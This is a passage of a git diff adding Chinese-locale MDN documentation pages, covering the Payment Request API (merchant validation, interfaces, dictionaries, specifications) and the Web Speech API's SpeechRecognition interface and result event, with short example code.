{{Glossary("user agent")}}内部机制支持不同类型的交易。另外,你还可以调用交易处理API来支持更多相应的支付方式提供方(前提是你使用的浏览器支持这些API的使用)。不论使用哪种方式,交易处理机的功能都是如下几条:

+ +
    +
  1. 确保交易正确进行。 交易正确进行的条件取决于不同的支付类型和用户的支付请求;例如,如果用户选择了信用卡支付,而收款方并不支持这种方式,交易就无法正确进行。
  2. +
  3. 响应用户代理发起的对商家进行认证的请求(在处理机支持商家认证的前提下)。 详细说明请参考{{anch("Merchant validation")}}。
  4. +
  5. 验证用户提交的信息有资格发起一次有效交易。这一步骤会创建并返回一个基于具体支付方式的对象,此对象包含处理交易所需要的信息。
  6. +
+ +

商家认证

+ +

一些交易处理机包含商家认证步骤商家认证是指,通过某种方式识别商家的身份,使用的方式通常是“密码学挑战”。没有成功通过认证的商家不被允许使用交易处理机。

+ +

具体的认证方式由交易处理机决定,也完全可以省去这种认证。最终,网站或应用唯一要做的就是就是获取商家的认证密钥并传输给{{domxref("MerchantValidationEvent.complete", "complete()")}}事件的方法。

+ +
paymentRequest.onmerchantvalidation = function(event) {
+  event.complete(fetchValidationData(event.validationURL));
+}
+
+ +

在这个例子中,由fetchValidationData()方法加载由validationURL提供的认证信息。要注意到的是,这个方法必须由商家服务器转发,因为通常情况下,客户端不会主动访问用于认证的URL。

+ +

然后,该数据(或用来解析该数据的{{jsxref("Promise")}})被传送给交易处理机的complete()方法。交易处理机可以用该数据获取更多信息或是进行更多重的算法解析,以认证商家对处理机的使用权。

+ +

因此,注意到如下事实很重要:{{Glossary("user agent")}}永远不会发送{{event("merchantvalidation")}}事件,除非用户代理自身装载了交易处理机。例如,Safari浏览器本身即支持Apple Pay,而Apple Pay的交易处理机可据此向客户端发送merchantvalidation、指示客户端获取服务器上的认证信息,并将其传送给交易处理机的complete(),来为商品进行支付。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Payment')}}{{Spec2('Payment')}}初始定义。
{{SpecName('Basic Card Payment')}}{{Spec2('Basic Card Payment')}}定义了 {{domxref("BasicCardRequest")}} 和 {{domxref("BasicCardResponse")}}.
{{SpecName('Payment Method Identifiers')}}{{Spec2('Payment Method Identifiers')}}定义了支付方式识别码和认证方式,并在适用的情况下铸币或在W3C规范中进行登记。
+ +

相关文档

+ + diff --git "a/files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/index.html" "b/files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/index.html" new file mode 100644 index 0000000000..0df4261062 --- /dev/null +++ "b/files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/index.html" @@ -0,0 +1,136 @@ +--- +title: 支付请求接口 +slug: Web/API/支付_请求_接口 +tags: + - 中间状态 + - 信用卡 + - 到岸卸货 + - 参考 + - 应用程序接口 + - 支付 + - 支付请求 + - 支付请求接口 + - 概述 + - 贸易 +translation_of: Web/API/Payment_Request_API +--- +
{{DefaultAPISidebar("Payment Request API")}}{{securecontext_header}}
+ +

支付请求API为商家和支付者提供了统一的用户体验。它并非提供一种新的支付方式,而是让用户可以在原有的支付方式中进行选择,并使商家可以获悉用户的支付情况。

+ +

支付请求的概念和使用

+ +

在网上购物时,使许多用户中止购物车结算的原因都可以被归结为填写支付信息表单时的步骤繁多导致的费时费力。支付请求API正是被用以减少支付步骤,逐步彻底消除表单的填写。它的目的是简化结算流程,而实现此目的的方式是通过保存用户相关信息并传送给商家。在理想的情况下,用户将不需要填写HTML表单。

+ +

使用支付请求API中“保存卡信息并自动扣款”(使用银行卡支付时)的优点:

+ + + +

当用户在页面上进行操作发起一次支付,比如点击“购买”按钮时,网页会相应地创建一个{{domxref("PaymentRequest")}}对象。PaymentRequest对象允许网页与用户代理交互,传送用户输入的用以交易的信息。

+ +

你可以在Using the Payment Request API中查看完整指南。

+ +
+

注意:此API只有在设置了{{htmlattrxref("allowpaymentrequest","iframe")}}属性时才支持{{htmlelement("iframe")}}元素的跨域使用。

+
+ +

接口

+ +
+
{{domxref('PaymentAddress')}}
+
一个包含地址信息的对象;例如,可以包含账单地址和收货地址。
+
{{domxref('PaymentRequest')}}
+
一个提供了创建和管理 {{Glossary("user agent", "user agent's")}}支付接口的对象。
+
{{domxref('PaymentRequestEvent')}}
+
当{{domxref("PaymentRequest")}}发生时,被传送给支付回调函数的事件。
+
{{domxref('PaymentRequestUpdateEvent')}}
+
当用户进行操作时,使网页可以更新相应的支付信息的事件。
+
{{domxref('PaymentMethodChangeEvent')}}
+
代表支付凭证改变(例如,用户将支付方式从信用卡改为了借记卡)的事件。
+
{{domxref('PaymentResponse')}}
+
一个对象,当用户选择了一种支付方式并同意发起交易请求后被返回。
+
{{domxref('MerchantValidationEvent')}}
+
代表浏览器要求商家(网站)证实自身被允许使用某种特定的支付回调函数(例如,注册了对Apply Pay支付方式的使用)的事件。
+
+ +
+
+ +

词典

+ +
+
{{domxref("AddressErrors")}}
+
一个由字符串组成的词典,包含用以描述任何{{domxref("PaymentAddress")}}条目中可能出现的报错的相应描述。
+
{{domxref("PayerErrors")}}
+
一个由字符串组成的词典,包含了{{domxref("PaymentResponse")}}中出现的有关邮件地址、电话号码及姓名的报错的相应描述。
+
{{domxref("PaymentDetailsUpdate")}}
+
一个对象,用于描述当服务器在发起支付请求后且在用户与之交互前,需要更新支付信息的事件。
+
+ +

“保存卡信息并自动扣款”规范的相关词典

+ +
+
{{domxref("BasicCardChangeDetails")}}
+
一个对象,提供了当用户更改支付信息时,{{domxref("PaymentMethodChangeEvent.methodDetails", "methodDetails")}}中传送通过{{event("paymentmethodchange")}}事件传送给 {{domxref("PaymentRequest")}}的删节的地址信息。
+
{{domxref("BasicCardErrors")}}
+
一个对象,提供了{{domxref("BasicCardResponse")}}中无效信息的相关错误提示。错误发生时,该对象被传送给{{domxref("PaymentRequest")}},作为{{domxref("PaymentValidationErrors")}}对象中{{domxref("PaymentValidationErrors.paymentMethod", "paymentMethod")}}属性的值。
+
{{domxref('BasicCardRequest')}}
+
定义了支付请求信息(例如“卡类型”)对象的结构。
+
{{domxref('BasicCardResponse')}}
+
定义了支付请求响应(例如被使用的银行卡的“卡号”、“有效期”和“账单地址”)对象的结构。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Payment')}}{{Spec2('Payment')}}原始定义
{{SpecName('Basic Card Payment')}}{{Spec2('Basic Card Payment')}}定义信用卡支付回调函数中的{{domxref("BasicCardRequest")}}和{{domxref("BasicCardResponse")}}
{{SpecName('Payment Method Identifiers')}}{{Spec2('Payment Method Identifiers')}}定义支付方式的识别码和认证方式。对于某些适用的场景,通过W3C进行铸币和注册。
+ +

浏览器兼容性

+ +
+

支付请求接口

+ +
+ + +

{{Compat("api.PaymentRequest", 0)}}

+
+
+ +

相关文档

+ + diff --git "a/files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/index.html" "b/files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/index.html" new file mode 100644 index 0000000000..83e11e69e4 --- /dev/null +++ "b/files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/index.html" @@ -0,0 +1,153 @@ +--- +title: 语音识别 +slug: Web/API/语音识别 +translation_of: Web/API/SpeechRecognition +--- +

{{APIRef("Web Speech API")}}{{SeeCompatTable}}

+ +

The SpeechRecognition interface of the Web Speech API is the controller interface for the recognition service; this also handles the {{domxref("SpeechRecognitionEvent")}} sent from the recognition service.

+ +
+

Note: On Chrome, using Speech Recognition on a web page involves a server-based recognition engine. Your audio is sent to a web service for recognition processing, so it won't work offline.

+
+ +

Constructor

+ +
+
{{domxref("SpeechRecognition.SpeechRecognition()")}}
+
Creates a new SpeechRecognition object.
+
+ +

Properties

+ +

SpeechRecognition also inherits properties from its parent interface, {{domxref("EventTarget")}}.

+ +
+
{{domxref("SpeechRecognition.grammars")}}
+
Returns and sets a collection of {{domxref("SpeechGrammar")}} objects that represent the grammars that will be understood by the current SpeechRecognition.
+
{{domxref("SpeechRecognition.lang")}}
+
Returns and sets the language of the current SpeechRecognition. If not specified, this defaults to the HTML {{htmlattrxref("lang","html")}} attribute value, or the user agent's language setting if that isn't set either.
+
{{domxref("SpeechRecognition.continuous")}}
+
Controls whether continuous results are returned for each recognition, or only a single result. Defaults to single (false.)
+
{{domxref("SpeechRecognition.interimResults")}}
+
Controls whether interim results should be returned (true) or not (false.) Interim results are results that are not yet final (e.g. the {{domxref("SpeechRecognitionResult.isFinal")}} property is false.)
+
{{domxref("SpeechRecognition.maxAlternatives")}}
+
Sets the maximum number of {{domxref("SpeechRecognitionAlternative")}}s provided per result. The default value is 1.
+
{{domxref("SpeechRecognition.serviceURI")}}
+
Specifies the location of the speech recognition service used by the current SpeechRecognition to handle the actual recognition. The default is the user agent's default speech service.
+
+ +
+
+ +

Methods

+ +

SpeechRecognition also inherits methods from its parent interface, {{domxref("EventTarget")}}.

+ +
+
{{domxref("SpeechRecognition.abort()")}}
+
Stops the speech recognition service from listening to incoming audio, and doesn't attempt to return a {{domxref("SpeechRecognitionResult")}}.
+
{{domxref("SpeechRecognition.start()")}}
+
Starts the speech recognition service listening to incoming audio with intent to recognize grammars associated with the current SpeechRecognition.
+
{{domxref("SpeechRecognition.stop()")}}
+
Stops the speech recognition service from listening to incoming audio, and attempts to return a {{domxref("SpeechRecognitionResult")}} using the audio captured so far.
+
+ +

Events

+ +

Listen to these events using addEventListener() or by assigning an event listener to the oneventname property of this interface.

+ +
+
audiostart
+
Fired when the user agent has started to capture audio.
+ Also available via the onaudiostart property.
+
audioend
+
Fired when the user agent has finished capturing audio.
+ Also available via the onaudioend property.
+
end
+
Fired when the speech recognition service has disconnected.
+ Also available via the onend property.
+
error
+
Fired when a speech recognition error occurs.
+ Also available via the onerror property.
+
nomatch
+
Fired when the speech recognition service returns a final result with no significant recognition. This may involve some degree of recognition, which doesn't meet or exceed the {{domxref("SpeechRecognitionAlternative.confidence","confidence")}} threshold.
+ Also available via the onnomatch property.
+
result
+
Fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app.
+ Also available via the onresult property.
+
soundstart
+
Fired when any sound — recognisable speech or not — has been detected.
+ Also available via the onsoundstart property.
+
soundend
+
Fired when any sound — recognisable speech or not — has stopped being detected.
+ Also available via the onsoundend property.
+
speechstart
+
Fired when sound that is recognised by the speech recognition service as speech has been detected.
+ Also available via the onspeechstart property.
+
speechend
+
Fired when speech recognised by the speech recognition service has stopped being detected.
+ Also available via the onspeechend property.
+
start
+
Fired when the speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current SpeechRecognition.
+ Also available via the onstart property.
+
+ +

Examples

+ +

In our simple Speech color changer example, we create a new SpeechRecognition object instance using the {{domxref("SpeechRecognition.SpeechRecognition", "SpeechRecognition()")}} constructor, create a new {{domxref("SpeechGrammarList")}}, and set it to be the grammar that will be recognised by the SpeechRecognition instance using the {{domxref("SpeechRecognition.grammars")}} property.

+ +

After some other values have been defined, we then set it so that the recognition service starts when a click event occurs (see {{domxref("SpeechRecognition.start()")}}.) When a result has been successfully recognised, the {{domxref("SpeechRecognition.onresult")}} handler fires,  we extract the color that was spoken from the event object, and then set the background color of the {{htmlelement("html")}} element to that colour.

+ +
var grammar = '#JSGF V1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;'
+var recognition = new SpeechRecognition();
+var speechRecognitionList = new SpeechGrammarList();
+speechRecognitionList.addFromString(grammar, 1);
+recognition.grammars = speechRecognitionList;
+//recognition.continuous = false;
+recognition.lang = 'en-US';
+recognition.interimResults = false;
+recognition.maxAlternatives = 1;
+
+var diagnostic = document.querySelector('.output');
+var bg = document.querySelector('html');
+
+document.body.onclick = function() {
+  recognition.start();
+  console.log('Ready to receive a color command.');
+}
+
+recognition.onresult = function(event) {
+  var color = event.results[0][0].transcript;
+  diagnostic.textContent = 'Result received: ' + color;
+  bg.style.backgroundColor = color;
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Speech API', '#speechreco-section', 'SpeechRecognition')}}{{Spec2('Web Speech API')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.SpeechRecognition")}}

+ +

See also

+ + diff --git "a/files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/result_event/index.html" "b/files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/result_event/index.html" new file mode 100644 index 0000000000..d6415441f3 --- /dev/null +++ "b/files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/result_event/index.html" @@ -0,0 +1,83 @@ +--- +title: 'SpeechRecognition: result event' +slug: Web/API/语音识别/result_event +translation_of: Web/API/SpeechRecognition/result_event +--- +
{{APIRef("Web Speech API")}} {{SeeCompatTable}}
+ +

The result event of the Web Speech API is fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{domxref("SpeechRecognitionEvent")}}
Event handler propertyonresult
+ +

Examples

+ +

This code is excerpted from our Speech color changer example.

+ +

You can use the result event in an addEventListener method:

+ +
var recognition = new webkitSpeechRecognition() || new SpeechRecognition();
+
+recognition.addEventListener('result', function(event) {
+  var color = event.results[0][0].transcript;
+  diagnostic.textContent = 'Result received: ' + color + '.';
+  bg.style.backgroundColor = color;
+});
+
+ +

Or use the onresult event handler property:

+ +
recognition.onresult = function(event) {
+  var color = event.results[0][0].transcript;
+  diagnostic.textContent = 'Result received: ' + color + '.';
+  bg.style.backgroundColor = color;
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Speech API', '#speechreco-events', 'speech recognition events')}}{{Spec2('Web Speech API')}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.SpeechRecognition.result_event")}}

+
+ +

See also

+ + -- cgit v1.2.3-54-g00ecf